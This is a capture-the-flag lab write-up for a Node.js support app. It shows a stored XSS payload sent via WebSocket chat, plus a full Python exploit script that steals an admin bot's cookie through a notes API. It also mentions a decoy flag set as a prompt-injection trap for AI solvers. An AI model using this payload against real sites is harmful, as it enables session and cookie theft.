Lab 70 — LivePulse
Lab 70 — LivePulse
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-20 | Status: Solved Techniques: admin_bot_exploitation, decoy_flag_avoidance, innerhtml_xss_sink, same_origin_cookie_exfiltration_via_notes_api, stored_xss_via_websocket_chat
Summary
Task: Express/Node.js support platform with WebSocket chat; chat.js renderMessage() uses innerHTML without sanitizing msg.content. Solution: Send stored XSS payload via WebSocket chat message, admin bot triggers it when visiting the ticket, exfiltrate non-HttpOnly flag cookie via same-origin notes API POST.
Lab 70 — LivePulse — HackAdvisor
Description
Lab 70 — LivePulse — Stored XSS via WebSocket Chat
You are testing LivePulse, a real-time customer support platform built by Pulse Solutions Inc. The application allows businesses to manage support tickets and communicate with customers through a WebSocket-powered live chat system. Your goal is to find a vulnerability and capture the admin's secret flag.
LivePulse is an Express/Node.js application (v1.2.4) with Bulma CSS. It features a ticket management dashboard, real-time WebSocket chat on support tickets, a searchable knowledge base, and user profile management. An admin bot periodically visits new tickets.
Credentials: user@test.com / password123
Analysis
Application Architecture
| Component | Detail |
|---|---|
| Stack | Express/Node.js, Bulma CSS (LivePulse v1.2.4) |
| Session | session cookie — HttpOnly, SameSite |
| Flag | flag cookie — NOT HttpOnly, accessible via document.cookie |
| Security headers | X-XSS-Protection: 1; mode=block, X-Content-Type-Options: nosniff, no CSP |
| Decoy | FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs (prompt injection trap) |
| |
Key Endpoints
| Endpoint | Purpose |
|---|---|
/dashboard | Ticket list dashboard |
/tickets/new | Create ticket (subject, category, priority, description) |
/tickets/:id | Ticket detail page with live chat |
/api/tickets/:id/notes | GET notes / POST add note ({note: "..."}) |
/ws?ticket=ID | WebSocket endpoint for real-time chat |
/js/chat.js | Client-side chat JavaScript |
Vulnerability: Stored XSS via innerHTML in chat.js
The chat.js file's renderMessage() function uses innerHTML to render chat message content without any sanitization:
javascript read-only • copy allowedfunction renderMessage(msg) { var div = document.createElement('div'); // ... div.innerHTML = '<div class="lp-msg-header">' + '<span class="lp-msg-author">' + msg.username + ' ' + badgeHtml + '</span>' + '<span class="lp-msg-time">' + timeStr + '</span>' + '</div>' + '<div class="lp-msg-body">' + msg.content + '</div>'; // XSS SINK — no escaping! chatContainer.appendChild(div); }
Messages sent via WebSocket are stored in the database and rendered via innerHTML when anyone views the ticket page. The msg.content is inserted directly into the DOM without escaping.
Contrast: The notes section uses a proper escapeForDisplay() function (creates a text node), but the chat messages do NOT use any escaping.
Admin Bot Behavior
- Admin bot (Sarah Mitchell,
user_role: "admin") periodically visits new tickets within ~15 seconds - The bot loads the ticket page, which triggers
renderMessage()for all stored chat messages - The admin has a
flag=FLAG{...}cookie that is NOT HttpOnly
Exfiltration Vector
The notes API (POST /api/tickets/:id/notes) accepts JSON {note: "..."} without CSRF protection. Notes are visible to the ticket owner via GET /api/tickets/:id/notes. This provides a same-origin exfiltration channel — the XSS payload can POST document.cookie as a note to the same ticket, making it readable by the attacker without needing an external callback server.
Solution
Attack Chain
- Login with
user@test.com / password123 - Create a new support ticket via
POST /tickets - Connect to WebSocket at
wss://HOST/ws?ticket=TICKET_IDwith session cookie - Send XSS payload as a chat message via WebSocket:
json read-only • copy allowed
{"type": "message", "content": "<img src=x onerror=\"fetch('/api/tickets/TICKET_ID/notes',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({note:'COOKIE:'+document.cookie})})\">"} - Admin bot visits the ticket page within ~15 seconds,
renderMessage()sets innerHTML,<img>onerror fires - Admin's
document.cookie(containingflag=FLAG{...}) is POSTed as a note - Read the note via
GET /api/tickets/TICKET_ID/notes
Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """LivePulse Lab 70 — Stored XSS via WebSocket Chat""" import json, ssl, time, re, websocket, requests TARGET = "https://INSTANCE.labs.hackadvisor.io" # Login s = requests.Session() s.post(f"{TARGET}/login", data={ "email": "user@test.com", "password": "password123" }) session_cookie = s.cookies.get("session") print(f"[+] Session: {session_cookie[:20]}...") # Create a new ticket r = s.post(f"{TARGET}/tickets", data={ "subject": "Widget rendering issue on Safari", "category": "Bug Report", "priority": "high", "description": "The chat widget has rendering issues on Safari 17." }, allow_redirects=False) ticket_id = r.headers.get("Location", "").split("/")[-1] print(f"[+] Created ticket: {ticket_id}") # XSS payload: exfiltrate cookie via same-origin notes API xss_js = ( "fetch('/api/tickets/" + str(ticket_id) + "/notes'," "{method:'POST'," "headers:{'Content-Type':'application/json'}," "body:JSON.stringify({note:'COOKIE:'+document.cookie})})" ) xss_payload = f'<img src=x onerror="{xss_js}">' # Connect via WebSocket and send payload ws_url = f"wss://{TARGET.split('//')[1]}/ws?ticket={ticket_id}" ws = websocket.create_connection( ws_url, cookie=f"session={session_cookie}", sslopt={"cert_reqs": ssl.CERT_NONE} ) ws.recv() # connected message ws.send(json.dumps({"type": "message", "content": xss_payload})) print(f"[+] XSS payload sent via WebSocket") ws.close() # Wait for admin bot to visit print(f"[*] Waiting 45s for admin bot...") time.sleep(45) # Read exfiltrated cookie from notes r = s.get(f"{TARGET}/api/tickets/{ticket_id}/notes") print(f"[*] Notes: {r.text}") flags = re.findall(r'FLAG\{[0-9a-f]+\}', r.text) for f in flags: print(f"[+] FLAG: {f}")
What Didn't Work
- Wrong field name for notes API: First attempt used
{content: "..."}instead of{note: "..."}— returned 400 "Note content required". The API expects thenotefield specifically. - Session cookie is HttpOnly: Cannot steal the session cookie externally, but the
flagcookie is NOT HttpOnly, sodocument.cookiecaptures it.